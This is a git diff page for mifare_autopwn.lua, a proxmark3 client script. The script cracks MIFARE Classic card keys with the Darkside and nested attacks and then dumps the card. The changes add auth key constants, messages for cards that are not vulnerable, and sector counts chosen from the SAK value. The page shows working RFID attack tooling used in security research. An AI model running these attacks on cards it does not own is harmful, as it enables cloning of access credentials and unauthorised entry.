]> cvs.zerfleddert.de Git - proxmark3-svn/blobdiff - client/scripts/mifare_autopwn.lua
CHG: "hf legic write" started to change this command to the updated code
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
index ccb46c5301b1b83295a8b0f4db126e2b3aa8cd92..b1f3d35787c55d7d07c25337ae68e6caa3cf4de8 100644 (file)
@@ -28,6 +28,8 @@ Output files from this operation:
 -- Some utilities 
 -------------------------------
 local DEBUG = false
 -- Some utilities 
 -------------------------------
 local DEBUG = false
+local MIFARE_AUTH_KEYA = 0x60
+local MIFARE_AUTH_KEYB = 0x61
 --- 
 -- A debug printout-function
 function dbg(args)
 --- 
 -- A debug printout-function
 function dbg(args)
@@ -66,7 +68,7 @@ end
 function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
 function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
-       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
+       local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        
        local retry = true
        while retry do
        
        local retry = true
        while retry do
@@ -78,20 +80,44 @@ function mfcrack()
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 
 
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 
 
-               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
+               cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        end     
        return nil, "Aborted by user"
 end
 
        end     
        return nil, "Aborted by user"
 end
 
-
 function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then
 function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then
-                       -- Unpacking the three arg-parameters
-                       local count,cmd,isOK = bin.unpack('LL',result)
 
 
-                       if isOK ~= 1 then return nil, "Error occurred" end
+                       --[[
+                       I don't understand, they cmd and args are defined as uint32_t, however, 
+                       looking at the returned data, they all look like 64-bit things: 
+
+                       print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
+
+                       FF      00      00      00      00      00      00      00      <-- 64 bits of data
+                       FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       00      00      00      00      00      00      00      00      <-- 64 bits of data
+                       04      7F      12      E2      00             <-- this is where 'data' starts
+
+                       So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
+                       --]]
+                       -- Unpacking the arg-parameters
+                       local count,cmd,isOK = bin.unpack('LI',result)
+                       --print("response", isOK)--FF FF FF FF
+                       if isOK == 0xFFFFFFFF then
+                               return nil, "Button pressed. Aborted."
+                       elseif isOK == 0xFFFFFFFE then
+                               return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFD then
+                               return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK == 0xFFFFFFFC then
+                               return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
+                       elseif isOK ~= 1 then 
+                               return nil, "Error occurred" 
+                       end
 
 
                        -- The data-part is left
 
 
                        -- The data-part is left
@@ -108,7 +134,7 @@ function mfcrack_inner()
                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)
 
                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)
 
-                       local status, key = core.nonce2key(uid,nt, nr, pl,ks)
+                       local status, key = core.nonce2key(uid, nt, nr, pl, ks)
                        if not status then return status,key end
 
                        if status > 0 then 
                        if not status then return status,key end
 
                        if status > 0 then 
@@ -123,8 +149,22 @@ function mfcrack_inner()
        return nil, "Aborted by user"
 end
 
        return nil, "Aborted by user"
 end
 
-function nested(key)
-       local cmd = string.format("hf mf nested 1 0 A %s d",key)
+function nested(key,sak)
+       local typ = 1
+       if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
+               typ = 4
+       elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
+               typ= 1
+       elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
+               typ = 0
+       elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
+               typ = 2
+       elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
+               typ = 1
+       else
+               print("I don't know how many sectors there are on this type of card, defaulting to 16")
+       end
+       local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
        core.console(cmd)
 end
 
        core.console(cmd)
 end
 
@@ -148,10 +188,9 @@ end
 -- The main entry point
 function main(args)
 
 -- The main entry point
 function main(args)
 
-
-       local verbose, exit,res,uid,err,_
+       local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}
        local seen_uids = {}
-
+       local print_message = true
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
@@ -159,25 +198,36 @@ function main(args)
        end
 
        while not exit do
        end
 
        while not exit do
+               if print_message then
+                       print("Waiting for card or press any key to stop")
+                       print_message = false
+               end
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
                uid = res.uid
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
                uid = res.uid
+               sak = res.sak
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
-                       print("Card found, commencing crack", uid)
+                       print("Card found, commencing crack on UID", uid)
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
                        if not res then return oops(err) end
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
                        if not res then return oops(err) end
-                       _,key = bin.unpack("H6",res)
-                       print("Key ", key)
+                       -- The key is actually 8 bytes, so a 
+                       -- 6-byte key is sent as 00XXXXXX
+                       -- This means we unpack it as first
+                       -- two bytes, then six bytes actual key data
+                       -- We can discard first and second return values
+                       _,_,key = bin.unpack("H2H6",res)
+                       print("Found valid key: "..key);
 
                        -- Use nested attack
 
                        -- Use nested attack
-                       nested(key)
+                       nested(key,sak)
                        -- Dump info
                        dump(uid)
                        -- Dump info
                        dump(uid)
+                       print_message = true
                end
        end
 end
                end
        end
 end
Impressum, Datenschutz